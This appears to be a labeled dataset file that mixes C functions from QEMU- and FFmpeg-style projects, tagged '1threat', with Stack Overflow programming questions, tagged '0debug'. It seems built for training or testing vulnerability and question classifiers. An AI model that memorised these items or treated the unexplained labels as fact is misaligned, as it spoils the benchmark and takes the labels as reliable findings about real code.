#ifdef CONFIG_SNOW_DECODER
#if 0
if(mm_flags & MM_SSE2){
c->horizontal_compose97i = ff_snow_horizontal_compose97i_sse2;
c->vertical_compose97i = ff_snow_vertical_compose97i_sse2;
c->inner_add_yblock = ff_snow_inner_add_yblock_sse2;
}
else{
c->horizontal_compose97i = ff_snow_horizontal_compose97i_mmx;
c->vertical_compose97i = ff_snow_vertical_compose97i_mmx;
c->inner_add_yblock = ff_snow_inner_add_yblock_mmx;
}
#endif
#endif
if(mm_flags & MM_3DNOW){
#ifdef CONFIG_ENCODERS
if(!(avctx->flags & CODEC_FLAG_BITEXACT)){
c->try_8x8basis= try_8x8basis_3dnow;
}
c->add_8x8basis= add_8x8basis_3dnow;
#endif
c->vorbis_inverse_coupling = vorbis_inverse_coupling_3dnow;
c->vector_fmul = vector_fmul_3dnow;
if(!(avctx->flags & CODEC_FLAG_BITEXACT))
c->float_to_int16 = float_to_int16_3dnow;
}
if(mm_flags & MM_3DNOWEXT)
c->vector_fmul_reverse = vector_fmul_reverse_3dnow2;
if(mm_flags & MM_SSE){
c->vorbis_inverse_coupling = vorbis_inverse_coupling_sse;
c->vector_fmul = vector_fmul_sse;
c->float_to_int16 = float_to_int16_sse;
c->vector_fmul_reverse = vector_fmul_reverse_sse;
c->vector_fmul_add_add = vector_fmul_add_add_sse;
}
if(mm_flags & MM_3DNOW)
c->vector_fmul_add_add = vector_fmul_add_add_3dnow;
}
#ifdef CONFIG_ENCODERS
dsputil_init_pix_mmx(c, avctx);
#endif
#if 0
get_pixels = just_return;
put_pixels_clamped = just_return;
add_pixels_clamped = just_return;
pix_abs16x16 = just_return;
pix_abs16x16_x2 = just_return;
pix_abs16x16_y2 = just_return;
pix_abs16x16_xy2 = just_return;
put_pixels_tab[0] = just_return;
put_pixels_tab[1] = just_return;
put_pixels_tab[2] = just_return;
put_pixels_tab[3] = just_return;
put_no_rnd_pixels_tab[0] = just_return;
put_no_rnd_pixels_tab[1] = just_return;
put_no_rnd_pixels_tab[2] = just_return;
put_no_rnd_pixels_tab[3] = just_return;
avg_pixels_tab[0] = just_return;
avg_pixels_tab[1] = just_return;
avg_pixels_tab[2] = just_return;
avg_pixels_tab[3] = just_return;
avg_no_rnd_pixels_tab[0] = just_return;
avg_no_rnd_pixels_tab[1] = just_return;
avg_no_rnd_pixels_tab[2] = just_return;
avg_no_rnd_pixels_tab[3] = just_return;
#endif
}
| 1threat
|
static void idr(H264Context *h){
int i;
ff_h264_remove_all_refs(h);
h->prev_frame_num= 0;
h->prev_frame_num_offset= 0;
h->prev_poc_msb=
h->prev_poc_lsb= 0;
for (i = 0; i < MAX_DELAYED_PIC_COUNT; i++)
h->last_pocs[i] = INT_MIN;
}
| 1threat
|
Pull certain tags with attributes HTML : I am trying to pull certain item IDs based on if they have an image tag or not. For a given input like the one below:
<div id="ID_1">
<p><img src="image4.png"></p>
</div>
<div id="ID_2">
</div>
<div id="ID_3">
<p><img src="image6.png"></p>
</div>
<div id="ID_4">
<p><img src="image4.png"></p>
</div>
I could get something like:
ID_1: image4.png
ID_2:
ID_3: image6.png
ID_4: image4.png
I am not too familiar with HTML or Javascript, so any help or resources that someone may have or know will be greatly appreciated.
| 0debug
|
static int local_lsetxattr(FsContext *ctx, const char *path, const char *name,
void *value, size_t size, int flags)
{
if ((ctx->fs_sm == SM_MAPPED) &&
(strncmp(name, "user.virtfs.", 12) == 0)) {
errno = EACCES;
return -1;
}
return lsetxattr(rpath(ctx, path), name, value, size, flags);
}
| 1threat
|
I have a problem in Objects . I want No of objects to be entered by User . How can I do this? : I have a problem in Objects . I want No of objects to be entered by User . How can I do this ???
#include<iostream>
using namespace std;
class
{
public :
int FullName;
int RollNumber;
int age;
int marks;
}
void main()
{
int n;
cout << "How many Students record you want :\t ";
cin >>n;
Data Student[n];
}
| 0debug
|
DISAS_INSN(fbcc)
{
uint32_t offset;
uint32_t addr;
TCGv flag;
int l1;
addr = s->pc;
offset = cpu_ldsw_code(env, s->pc);
s->pc += 2;
if (insn & (1 << 6)) {
offset = (offset << 16) | cpu_lduw_code(env, s->pc);
s->pc += 2;
}
l1 = gen_new_label();
flag = tcg_temp_new();
gen_helper_compare_f64(flag, cpu_env, QREG_FP_RESULT);
switch (insn & 0xf) {
case 0:
break;
case 1:
tcg_gen_brcond_i32(TCG_COND_EQ, flag, tcg_const_i32(0), l1);
break;
case 2:
tcg_gen_brcond_i32(TCG_COND_EQ, flag, tcg_const_i32(1), l1);
break;
case 3:
tcg_gen_brcond_i32(TCG_COND_LEU, flag, tcg_const_i32(1), l1);
break;
case 4:
tcg_gen_brcond_i32(TCG_COND_LT, flag, tcg_const_i32(0), l1);
break;
case 5:
tcg_gen_brcond_i32(TCG_COND_LE, flag, tcg_const_i32(0), l1);
break;
case 6:
tcg_gen_andi_i32(flag, flag, 1);
tcg_gen_brcond_i32(TCG_COND_NE, flag, tcg_const_i32(0), l1);
break;
case 7:
tcg_gen_brcond_i32(TCG_COND_EQ, flag, tcg_const_i32(2), l1);
break;
case 8:
tcg_gen_brcond_i32(TCG_COND_LT, flag, tcg_const_i32(2), l1);
break;
case 9:
tcg_gen_andi_i32(flag, flag, 1);
tcg_gen_brcond_i32(TCG_COND_EQ, flag, tcg_const_i32(0), l1);
break;
case 10:
tcg_gen_brcond_i32(TCG_COND_GT, flag, tcg_const_i32(0), l1);
break;
case 11:
tcg_gen_brcond_i32(TCG_COND_GE, flag, tcg_const_i32(0), l1);
break;
case 12:
tcg_gen_brcond_i32(TCG_COND_GEU, flag, tcg_const_i32(2), l1);
break;
case 13:
tcg_gen_brcond_i32(TCG_COND_NE, flag, tcg_const_i32(1), l1);
break;
case 14:
tcg_gen_brcond_i32(TCG_COND_NE, flag, tcg_const_i32(0), l1);
break;
case 15:
tcg_gen_br(l1);
break;
}
gen_jmp_tb(s, 0, s->pc);
gen_set_label(l1);
gen_jmp_tb(s, 1, addr + offset);
}
| 1threat
|
static void test_qemu_strtosz_invalid(void)
{
const char *str;
char *endptr = NULL;
int64_t res;
str = "";
res = qemu_strtosz(str, &endptr);
g_assert_cmpint(res, ==, -EINVAL);
g_assert(endptr == str);
str = " \t ";
res = qemu_strtosz(str, &endptr);
g_assert_cmpint(res, ==, -EINVAL);
g_assert(endptr == str);
str = "crap";
res = qemu_strtosz(str, &endptr);
g_assert_cmpint(res, ==, -EINVAL);
g_assert(endptr == str);
}
| 1threat
|
static uint32_t gic_dist_readb(void *opaque, target_phys_addr_t offset)
{
GICState *s = (GICState *)opaque;
uint32_t res;
int irq;
int i;
int cpu;
int cm;
int mask;
cpu = gic_get_current_cpu(s);
cm = 1 << cpu;
if (offset < 0x100) {
if (offset == 0)
return s->enabled;
if (offset == 4)
return ((s->num_irq / 32) - 1) | ((NUM_CPU(s) - 1) << 5);
if (offset < 0x08)
return 0;
if (offset >= 0x80) {
return 0;
}
goto bad_reg;
} else if (offset < 0x200) {
if (offset < 0x180)
irq = (offset - 0x100) * 8;
else
irq = (offset - 0x180) * 8;
irq += GIC_BASE_IRQ;
if (irq >= s->num_irq)
goto bad_reg;
res = 0;
for (i = 0; i < 8; i++) {
if (GIC_TEST_ENABLED(irq + i, cm)) {
res |= (1 << i);
}
}
} else if (offset < 0x300) {
if (offset < 0x280)
irq = (offset - 0x200) * 8;
else
irq = (offset - 0x280) * 8;
irq += GIC_BASE_IRQ;
if (irq >= s->num_irq)
goto bad_reg;
res = 0;
mask = (irq < GIC_INTERNAL) ? cm : ALL_CPU_MASK;
for (i = 0; i < 8; i++) {
if (GIC_TEST_PENDING(irq + i, mask)) {
res |= (1 << i);
}
}
} else if (offset < 0x400) {
irq = (offset - 0x300) * 8 + GIC_BASE_IRQ;
if (irq >= s->num_irq)
goto bad_reg;
res = 0;
mask = (irq < GIC_INTERNAL) ? cm : ALL_CPU_MASK;
for (i = 0; i < 8; i++) {
if (GIC_TEST_ACTIVE(irq + i, mask)) {
res |= (1 << i);
}
}
} else if (offset < 0x800) {
irq = (offset - 0x400) + GIC_BASE_IRQ;
if (irq >= s->num_irq)
goto bad_reg;
res = GIC_GET_PRIORITY(irq, cpu);
} else if (offset < 0xc00) {
if (s->num_cpu == 1 && s->revision != REV_11MPCORE) {
res = 0;
} else {
irq = (offset - 0x800) + GIC_BASE_IRQ;
if (irq >= s->num_irq) {
goto bad_reg;
}
if (irq >= 29 && irq <= 31) {
res = cm;
} else {
res = GIC_TARGET(irq);
}
}
} else if (offset < 0xf00) {
irq = (offset - 0xc00) * 2 + GIC_BASE_IRQ;
if (irq >= s->num_irq)
goto bad_reg;
res = 0;
for (i = 0; i < 4; i++) {
if (GIC_TEST_MODEL(irq + i))
res |= (1 << (i * 2));
if (GIC_TEST_TRIGGER(irq + i))
res |= (2 << (i * 2));
}
} else if (offset < 0xfe0) {
goto bad_reg;
} else {
if (offset & 3) {
res = 0;
} else {
res = gic_id[(offset - 0xfe0) >> 2];
}
}
return res;
bad_reg:
hw_error("gic_dist_readb: Bad offset %x\n", (int)offset);
return 0;
}
| 1threat
|
void omap_rfbi_attach(struct omap_dss_s *s, int cs, struct rfbi_chip_s *chip)
{
if (cs < 0 || cs > 1)
hw_error("%s: wrong CS %i\n", __FUNCTION__, cs);
s->rfbi.chip[cs] = chip;
}
| 1threat
|
void v9fs_device_unrealize_common(V9fsState *s, Error **errp)
{
g_free(s->ctx.fs_root);
g_free(s->tag);
}
| 1threat
|
static int v9fs_synth_get_dentry(V9fsSynthNode *dir, struct dirent *entry,
struct dirent **result, off_t off)
{
int i = 0;
V9fsSynthNode *node;
rcu_read_lock();
QLIST_FOREACH(node, &dir->child, sibling) {
if (i == off) {
break;
}
i++;
}
rcu_read_unlock();
if (!node) {
*result = NULL;
return 0;
}
v9fs_synth_direntry(node, entry, off);
*result = entry;
return 0;
}
| 1threat
|
not enough arguments in call to method expression : <p>While learning go I came to following error: </p>
<pre><code>prog.go:18: not enough arguments in call to method expression JSONParser.Parse
</code></pre>
<p>in my test program (<a href="https://play.golang.org/p/PW9SF4c9q8" rel="noreferrer">https://play.golang.org/p/PW9SF4c9q8</a>):</p>
<pre><code>package main
type Schema struct {
}
type JSONParser struct {
}
func (jsonParser JSONParser) Parse(toParse []byte) ([]Schema, int) {
var schema []Schema
// whatever parsing logic
return schema, 0
}
func main() {
var in []byte
actual, err2 := JSONParser.Parse(in)
}
</code></pre>
<p>Anyone willing to help me to move on here?</p>
| 0debug
|
Print required output in Java : <p>I have requirement as below on array:</p>
<p>Input [1,2,5,7] Output [1,5,7]</p>
<p>Input [4,5,6,8] Output [4,8]</p>
<p>Input [1,2,3,9,10] Output [1,9]</p>
<p>Means if the next number is in sequence the take the first value in output, otherwise take all the values in output.</p>
<p>Thanks.</p>
| 0debug
|
SQL Multiple Joins Query-Error while executing : I am trying to execute the below query having multiple joins between tables. However, I am getting an error "%s: Invalid Identifier" in SQL Developer.
The below column throws an error:
"GCCCOND.ID_COND", invalid identifier
I validated the query online and I couldn't understand what am I missing in this one.
Any insights regarding this would be really helpful.
Here is the query--
SELECT
gcibjdnf.danfe,
gcibjdnf.bjd_situacao,
gcibjdnf.obs_rejeicao,
gcibjdnf.bjd_tipo_cobranca,
gcibjdnf.bjd_data_vencto_cbs,
gcibjdnf.bjd_liberacao_valor,
gcibjdnf.bjd_liberacao_data,
gcibjdnf.cd_rejeicao,
gcibjdnf.id_cond,
gcibjdnf.bjd_sit_interna,
gcibjdnf.dh_carga_nf,
gcibjdnf.dt_expira,
gcibjdnf.cd_emp,
gcibjdnf.cd_und,
gcibjdnf.sg_mod,
gcibjdnf.cd_cli,
gcibjdnf.nr_ctr,
gcibjdnf.nr_adl,
gcibjdnf.planta,
gcibjdnf.nf_data,
gcibjdnf.nf_numero,
gcibjdnf.dealer_sap,
gcibjdnf.baan_fatura,
gcibjdnf.sap_titulo,
gcibjdnf.nf_valor_total,
gcibjdnf.nf_fdd,
gcibjdnf.nf_data_gravacao,
gcibjdnf.nf_tipo_produto,
gcibjdnf.pedido_cotacao,
gcibjdnf.jdb_situacao_normal,
gcibjdnf.jdb_situacao_proc,
gcibjdnf.cd_liberada,
SUM(gcinfitens.item_valor_contratar) AS nf_vl_contratar,
Max(gcrcontitens.id_contgrupo) AS id_contgrupo,
MIN(gmin.nu_interv) AS nu_min_prz,
MAX(gmax.nu_interv) AS nu_max_prz,
priper.vl_taxa AS nu_taxa,
priper.cd_tp_taxa,
priper.cd_indicador,
gcccond.nm_cond,
gcccond.cd_tp_ctr,
priper.sg_mod AS sg_mod_cond,
gcccond.dt_validade,
gcccond.cd_sit AS cd_sit_cond,
gcccond.nu_car_prz,
gcccond.cd_base_carencia,
gcccond.nu_car_desc,
apcconc.cd_loja,
apcconc.cd_concess,
apcconc.cd_conc_mat,
apcconc.nm_conc,
apcconc.nm_apelido,
apcconc.cd_tp_mercado,
dnccontrfundo.dt_emis_ctr
FROM
gcibjdnf
LEFT JOIN gcinfitens ON gcinfitens.danfe = gcibjdnf.danfe
LEFT JOIN gcrcontitens ON gcrcontitens.danfe = gcibjdnf.danfe
LEFT JOIN gcrcondper gmin ON gmin.id_cond = gcccond.id_cond
LEFT JOIN gcrcondper gmax ON gmax.id_cond = gcccond.id_cond
LEFT JOIN apcconc ON TO_CHAR(apcconc.cd_sap_dealer) = gcibjdnf.dealer_sap
LEFT JOIN gcccond ON gcccond.id_cond = gcibjdnf.id_cond
LEFT JOIN dnccontrfundo ON dnccontrfundo.danfe = gcibjdnf.danfe
AND dnccontrfundo.cd_sit NOT IN ('CA', 'RE')
LEFT JOIN gcrcondper priper ON priper.id_cond = gcccond.id_cond
AND priper.sq_per = 1
WHERE
(
(
apcconc.cd_concess = '1586297'
OR apcconc.cd_conc_mat = '1586297'
)
AND gcibjdnf.bjd_situacao = 'I'
AND bjd_sit_interna IN ('NO', 'SD')
)
ORDER BY
apcconc.nm_apelido,
danfe
| 0debug
|
const uint8_t *ff_h263_find_resync_marker(MpegEncContext *s, const uint8_t *av_restrict p, const uint8_t *av_restrict end)
{
av_assert2(p < end);
end-=2;
p++;
if(s->resync_marker){
for(;p<end; p+=2){
if(!*p){
if (!p[-1] && p[1]) return p - 1;
else if(!p[ 1] && p[2]) return p;
}
}
}
return end+2;
}
| 1threat
|
I intend to write a quiz program that adds up points when the answer is correct and deducts point when a wrong answer is given in python : <p>This is what i came up with, and i cant understand why what is going on, as my expectation is to have point increment for every correct answer and point deduction for any wrong answer.</p>
<pre><code>name = str(input("What is your name?: "))
score = 0
answer1 = str(input("(1) What is the name of the first president of Nigeria? \n(a) Amadu Bello \n(b) Shehu Shagari \n(c) Olusegun Obasanjo \n(d) Nnamdi Azikwe\n:Your answer: "))
if answer1 == "d" or "D" or "Nnamdi" or "Nnamdi Azikwe" and "Azikwe":
score = score+5
print ( "Weldone", name, "you've scored", score, "points")
else:
score = score - 5
print( "ouch!!!", name, "you missed that, you've scored, ", score, "points")
answer2 = str(input("(2) What is the name of the capital of Lagos state? \n(a) Ikorodu\n(b) Ikeja\n(c) Surulere\n(d) Victoria Island\nYour answer: "))
if answer2 == "a" or "A" or "Ikeja":
score = score+5
print ( "Weldone", name, "you've scored", score, "points")
else:
score = score - 5
print( "ouch!!!", name, "you missed that, you've scored, ", score, "points")
answer3 = str(input("(3) What is the name of the first capital of Nigeria?\n(a) Kano \n(b) Abuja\n(c) Lagos\n(d) Calabar\nYour Answer: "))
if answer3 == "c" or "C" or "lagos" and "Lagos":
score = score+5
print ( "Weldone", name, "you've scored", score, "points")
else:
score = score - 5
print( "ouch!!!", name, "you missed that, you've scored, ", score, "points")
answer4 = str(input("(4) What is the name of the governor of Lagos when Code-Lagos was first implemented? \n(a)Raji Fashola\n(b)Akinwunmi Ambode\n(c) Ahmed Tinubu\n (d) Lateef Jakande\nYour answer: "))
if answer4 == "b" or "B" or "Ambode" or "Akinwunmi Ambode" or "akinwunmi ambode":
score = score+5
print ( "Weldone", name, "you've scored", score, "points")
else:
score = score - 5
print( "ouch!!!", name, "you missed that, you've scored, ", score, "points")
answer5 = str(input("(5) Which of the following is indigenous Nigerian content? \n(a) Etisalat\n(b) Airtel\n(c) MTN\n(d) Globacoms\n Your Answer: "))
if answer5 == "d" or "D" or "glo" or "Glo" or "GLO":
score = score+5
print ( "Weldone", name, "you've scored", score, "points")
else:
score = score - 5
print( "ouch!!!", name, "you missed that, you've scored, ", score, "points")
</code></pre>
<p>The output, just accepts any answer as correct and adds up point.</p>
| 0debug
|
Face Movement direction detection using c# and emgucv : I am new to Emgucv and I am working on face movement direction detection
I had come across many codes in Internet but they are very difficult to understand.
So can you please provide a easy and understandable code or links for learning this situation.
Thanks in advance
| 0debug
|
Programm Crashes when using scanf in a Class : My Programm always Crashes after the 5th scanf in the class function.
class PersoenlicheDaten{
public:
void eingabe(){
printf("Bitte geben sie jetzt ihre Persoenlichen Daten ein: \n\n");
printf("Vorname: ");
scanf("%s", &vorname);
printf("Nachname: ");
scanf("%s", &nachname);
printf("Alter: ");
scanf("%d", &alter);
printf("Geburtsdatum: ");
scanf("%s", &geburtsdatum);
printf("Addresse: ");
scanf("%s", &addresse);
}
private:
std::string vorname;
std::string nachname;
int alter;
std::string geburtsdatum;
std::string addresse;
};
Inside the Main
do{
pd.eingabe();
printf("Sind sie mit der eingabe zufrieden?\n\n");
printf("Antwort(j/n): ");
scanf("%c", &v.antwiederholen);
if(v.antwiederholen == 'j'){
v.running = true;
}else{
v.running = false;
}
}while(v.running);
Why is that because it should normaly work. Also i want to use scanf instead of std::cin to learn different methodes of input.
| 0debug
|
static inline int wv_unpack_mono(WavpackFrameContext *s, GetBitContext *gb,
void *dst, const int type)
{
int i, j, count = 0;
int last, t;
int A, S, T;
int pos = s->pos;
uint32_t crc = s->sc.crc;
uint32_t crc_extra_bits = s->extra_sc.crc;
int16_t *dst16 = dst;
int32_t *dst32 = dst;
float *dstfl = dst;
s->one = s->zero = s->zeroes = 0;
do {
T = wv_get_value(s, gb, 0, &last);
S = 0;
if (last)
break;
for (i = 0; i < s->terms; i++) {
t = s->decorr[i].value;
if (t > 8) {
if (t & 1)
A = 2U * s->decorr[i].samplesA[0] - s->decorr[i].samplesA[1];
else
A = (int)(3U * s->decorr[i].samplesA[0] - s->decorr[i].samplesA[1]) >> 1;
s->decorr[i].samplesA[1] = s->decorr[i].samplesA[0];
j = 0;
} else {
A = s->decorr[i].samplesA[pos];
j = (pos + t) & 7;
}
if (type != AV_SAMPLE_FMT_S16P)
S = T + ((s->decorr[i].weightA * (int64_t)A + 512) >> 10);
else
S = T + ((s->decorr[i].weightA * A + 512) >> 10);
if (A && T)
s->decorr[i].weightA -= ((((T ^ A) >> 30) & 2) - 1) * s->decorr[i].delta;
s->decorr[i].samplesA[j] = T = S;
}
pos = (pos + 1) & 7;
crc = crc * 3 + S;
if (type == AV_SAMPLE_FMT_FLTP) {
*dstfl++ = wv_get_value_float(s, &crc_extra_bits, S);
} else if (type == AV_SAMPLE_FMT_S32P) {
*dst32++ = wv_get_value_integer(s, &crc_extra_bits, S);
} else {
*dst16++ = wv_get_value_integer(s, &crc_extra_bits, S);
}
count++;
} while (!last && count < s->samples);
wv_reset_saved_context(s);
if (last && count < s->samples) {
int size = av_get_bytes_per_sample(type);
memset((uint8_t*)dst + count*size, 0, (s->samples-count)*size);
}
if (s->avctx->err_recognition & AV_EF_CRCCHECK) {
int ret = wv_check_crc(s, crc, crc_extra_bits);
if (ret < 0 && s->avctx->err_recognition & AV_EF_EXPLODE)
return ret;
}
return 0;
}
| 1threat
|
def rotate_right(list1,m,n):
result = list1[-(m):]+list1[:-(n)]
return result
| 0debug
|
static void large_dict(void)
{
GString *gstr = g_string_new("");
QObject *obj;
gen_test_json(gstr, 10, 100);
obj = qobject_from_json(gstr->str, NULL);
g_assert(obj != NULL);
qobject_decref(obj);
g_string_free(gstr, true);
}
| 1threat
|
Hitting Tab in Visual Studio selects block instead of adding indentation : <p>I am using Visual Studio 2015 and ReSharper 2016.2 and I have this strange behavior, that I probably activated (accidentally). When having the cursor in a line before the first word, hitting the Tab-key indents the line correctly:</p>
<p><a href="https://i.stack.imgur.com/PxgwF.png" rel="noreferrer"><img src="https://i.stack.imgur.com/PxgwF.png" alt="enter image description here"></a></p>
<p>When the cursor is inside of any word inside the line, hitting the Tab-key selects the word or block.</p>
<p><a href="https://i.stack.imgur.com/vR0Xe.png" rel="noreferrer"><img src="https://i.stack.imgur.com/vR0Xe.png" alt="enter image description here"></a></p>
<p>But the desired behavior would be to indent at the cursor (e.g. split a word into two words, if the cursor was inside of the word Stream after the letter r):</p>
<p><a href="https://i.stack.imgur.com/lnhM3.png" rel="noreferrer"><img src="https://i.stack.imgur.com/lnhM3.png" alt="enter image description here"></a></p>
<p>Does anyone know how this 'feature' is called? Does it come from ReSharper? Where can it be enabled or disabled?</p>
| 0debug
|
My if and else if are running at the same time : <p>I've got a program measuring distance from a rocket to the moon, so when the distance is >250, only the if runs. However when the else runs and the distance <=250, the if continues to run while the else runs. If anyone can help me fix it I would be very thankful. </p>
<pre><code>do
{
if (distance >250)
{
time += 1;
y_pos = initial_y_pos - (vel_y * time)/2;
x_pos = initial_x_pos + (vel_x * time)/2;
//Sets the new x and y position when time is flowing so the rocket can move
GFX_DrawLineTo(x_pos, y_pos, 3);
GFX_UpdateDisplay();
distance = sqrt(pow((y_pos-(y+312)),2)+(pow((x_pos-(x+440)),2)));
mars_dist = sqrt(pow((y_pos-150),2)+pow((x_pos-1150),2));
//distance calculation from the rocket to the moon. Needed for sphere of influence
printf("%f\n",distance);
}
else if (distance <=250)
{
y_pos = initial_y_pos - ((vel_y * time) - ((gravity * time)/2));
x_pos = initial_x_pos + ((vel_x * time) - ((gravity * time)/2));
GFX_DrawLineTo(x_pos, y_pos, 3);
GFX_UpdateDisplay();
distance = sqrt(pow((y_pos-(y+312)),2)+(pow((x_pos-(x+440)),2)));
mars_dist = sqrt(pow((y_pos-150),2)+pow((x_pos-1150),2));
//printf("%f\n",distance);
printf("%f\n", x_pos);
}
if (distance <= 50)
//If the rocket either hits moon or mars, this is responsible for recognising that
{
printf("Unlucky! Your rocket crashed into the moon!");
return 0;
}
}
//while (distance > 250);
while ((0 <= x_pos && x_pos <= 1280) || (0 <= y_pos && y_pos <= 1024));
</code></pre>
| 0debug
|
void usb_packet_unmap(USBPacket *p)
{
int is_write = (p->pid == USB_TOKEN_IN);
int i;
for (i = 0; i < p->iov.niov; i++) {
cpu_physical_memory_unmap(p->iov.iov[i].iov_base,
p->iov.iov[i].iov_len, is_write,
p->iov.iov[i].iov_len);
}
}
| 1threat
|
Function with matrix : I dont know how to start. What should be arg reshape or.... ?
function that multiplies by -1 numbers in a matrix with an odd sum of the
index?
>I noticed that after expanding the matrix into a list, every second word should be multiplied by -1.
>help pls
>thanks
>`enter code here`example
[[[ 0 1 2]
[ 3 4 5]
[ 6 7 8]]
[[ 9 10 11]
[12 13 14]
[15 16 17]]
[[18 19 20]
[21 22 23]
[24 25 26]]]
[[[ 0 -1 2]
[ -3 4 -5]
[ 6 -7 8]]
[[ -9 10 -11]
[12 -13 14]
[-15 16 -17]]
[[18 -19 20]
[-21 22 -23]
[24 -25 26]]]
| 0debug
|
static void vfio_probe_nvidia_bar0_quirk(VFIOPCIDevice *vdev, int nr)
{
VFIOQuirk *quirk;
VFIOConfigMirrorQuirk *mirror;
if (!vfio_pci_is(vdev, PCI_VENDOR_ID_NVIDIA, PCI_ANY_ID) ||
!vfio_is_vga(vdev) || nr != 0) {
return;
}
quirk = g_malloc0(sizeof(*quirk));
mirror = quirk->data = g_malloc0(sizeof(*mirror));
mirror->mem = quirk->mem = g_new0(MemoryRegion, 1);
quirk->nr_mem = 1;
mirror->vdev = vdev;
mirror->offset = 0x88000;
mirror->bar = nr;
memory_region_init_io(mirror->mem, OBJECT(vdev),
&vfio_nvidia_mirror_quirk, mirror,
"vfio-nvidia-bar0-88000-mirror-quirk",
PCIE_CONFIG_SPACE_SIZE);
memory_region_add_subregion_overlap(&vdev->bars[nr].region.mem,
mirror->offset, mirror->mem, 1);
QLIST_INSERT_HEAD(&vdev->bars[nr].quirks, quirk, next);
if (vdev->has_vga) {
quirk = g_malloc0(sizeof(*quirk));
mirror = quirk->data = g_malloc0(sizeof(*mirror));
mirror->mem = quirk->mem = g_new0(MemoryRegion, 1);
quirk->nr_mem = 1;
mirror->vdev = vdev;
mirror->offset = 0x1800;
mirror->bar = nr;
memory_region_init_io(mirror->mem, OBJECT(vdev),
&vfio_nvidia_mirror_quirk, mirror,
"vfio-nvidia-bar0-1800-mirror-quirk",
PCI_CONFIG_SPACE_SIZE);
memory_region_add_subregion_overlap(&vdev->bars[nr].region.mem,
mirror->offset, mirror->mem, 1);
QLIST_INSERT_HEAD(&vdev->bars[nr].quirks, quirk, next);
}
trace_vfio_quirk_nvidia_bar0_probe(vdev->vbasedev.name);
}
| 1threat
|
How to log in use using user_id in symfony 3? : I have user id. <br>
Using this user_id, I have get user object. <br>
But i want to login this user.<br>
it is possible to login user using user_id only?
| 0debug
|
Send Intent still visible after app is killed : I have an issue that my sending `Intent` is still visible after I kill app. How to close all `Intent`'s when the app is killed?
| 0debug
|
static void clr_msg_flags(IPMIBmcSim *ibs,
uint8_t *cmd, unsigned int cmd_len,
uint8_t *rsp, unsigned int *rsp_len,
unsigned int max_rsp_len)
{
IPMIInterface *s = ibs->parent.intf;
IPMIInterfaceClass *k = IPMI_INTERFACE_GET_CLASS(s);
IPMI_CHECK_CMD_LEN(3);
ibs->msg_flags &= ~cmd[2];
k->set_atn(s, attn_set(ibs), attn_irq_enabled(ibs));
}
| 1threat
|
static void vc1_put_ver_16b_shift2_mmx(int16_t *dst,
const uint8_t *src, x86_reg stride,
int rnd, int64_t shift)
{
__asm__ volatile(
"mov $3, %%"REG_c" \n\t"
LOAD_ROUNDER_MMX("%5")
"movq "MANGLE(ff_pw_9)", %%mm6 \n\t"
"1: \n\t"
"movd (%0), %%mm2 \n\t"
"add %2, %0 \n\t"
"movd (%0), %%mm3 \n\t"
"punpcklbw %%mm0, %%mm2 \n\t"
"punpcklbw %%mm0, %%mm3 \n\t"
SHIFT2_LINE( 0, 1, 2, 3, 4)
SHIFT2_LINE( 24, 2, 3, 4, 1)
SHIFT2_LINE( 48, 3, 4, 1, 2)
SHIFT2_LINE( 72, 4, 1, 2, 3)
SHIFT2_LINE( 96, 1, 2, 3, 4)
SHIFT2_LINE(120, 2, 3, 4, 1)
SHIFT2_LINE(144, 3, 4, 1, 2)
SHIFT2_LINE(168, 4, 1, 2, 3)
"sub %6, %0 \n\t"
"add $8, %1 \n\t"
"dec %%"REG_c" \n\t"
"jnz 1b \n\t"
: "+r"(src), "+r"(dst)
: "r"(stride), "r"(-2*stride),
"m"(shift), "m"(rnd), "r"(9*stride-4)
NAMED_CONSTRAINTS_ADD(ff_pw_9)
: "%"REG_c, "memory"
);
}
| 1threat
|
UnboundLocalError when returning a variable : <p>I have a static method that collects some things together and returns them.</p>
<pre><code>@staticmethod
def testForMetrics(....):
...
...
coverages = Metrics.findCoverageStats(....)
...
return coverages, ....
</code></pre>
<p>findCoverageStats looks like</p>
<pre><code>@staticmethod
def findCoverageStats(....)
coverages = {}
...# fill coverages with calculations
return coverages
</code></pre>
<p>Running tells me <code>UnboundLocalError: local variable 'coverages' referenced before assignment</code>, but only in very rare cases.</p>
<p>What sort of edge cases could cause cause this behavior?</p>
| 0debug
|
How come id will not pass through link? : <p>I have a simple link that needs to pass a variable through $_GET and set it to a variable in the page that is being opened. It is failing every time however and I am not sure why.</p>
<pre><code> <a class='section_header' href='category/index.php?`id='" . $catid . "'><b>" . $row[0] ."</b></a>
</code></pre>
<p>Code in category/index.php</p>
<pre><code> $id = $_GET['id'];
echo $id;
</code></pre>
| 0debug
|
static QObject *qmp_output_first(QmpOutputVisitor *qov)
{
QStackEntry *e = QTAILQ_LAST(&qov->stack, QStack);
if (!e) {
return NULL;
}
return e->value;
}
| 1threat
|
CPUX86State *cpu_x86_init_user(const char *cpu_model)
{
Error *error = NULL;
X86CPU *cpu;
cpu = cpu_x86_create(cpu_model, NULL, &error);
if (error) {
goto out;
}
object_property_set_bool(OBJECT(cpu), true, "realized", &error);
out:
if (error) {
error_report("%s", error_get_pretty(error));
error_free(error);
if (cpu != NULL) {
object_unref(OBJECT(cpu));
}
return NULL;
}
return &cpu->env;
}
| 1threat
|
What does `{...}` mean in a python 2 dictionary value printed? : <p>While debugging a python program I had to print the value of a huge dictionary on a log file. I copy-pasted the value and when I assigned it in the python 2 interpreter I got <code>SyntaxError: invalid syntax</code>. What? How was that possible? After a closer look I realised the dictionary in the file was something like this:<br><p><code>{'one': 1, 'two': 2, 'three': {...}}</code></p>The key <code>three</code> value was <code>{...}</code>, which caused the invalid syntax error.<br><p>Pasting this dictionary on a python 2 interpreter raises a <code>Syntax Error</code> exception. Pasting it on a python 3 interpreter the assigned value results to be <code>{'one': 1, 'two': 2, 'three': {Ellipsis}}</code>. <p>So, what does <code>{...}</code> mean in python 2 and why the syntax is invalid in python 2 even if the value is printed in the log file from a python 2 script?</p></p>
| 0debug
|
int64_t av_gettime_relative(void)
{
#if HAVE_CLOCK_GETTIME && defined(CLOCK_MONOTONIC)
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return (int64_t)ts.tv_sec * 1000000 + ts.tv_nsec / 1000;
#else
return av_gettime() + 42 * 60 * 60 * INT64_C(1000000);
#endif
}
| 1threat
|
setAdapter not recognize in android studio : <p>I have a tutorial video, in Video teacher can use setAdapter as you see below Image, but in my code, android studio not Recognize it</p>
<p>image of teacher learning:
<a href="https://i.stack.imgur.com/4N59n.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4N59n.png" alt="enter image description here"></a></p>
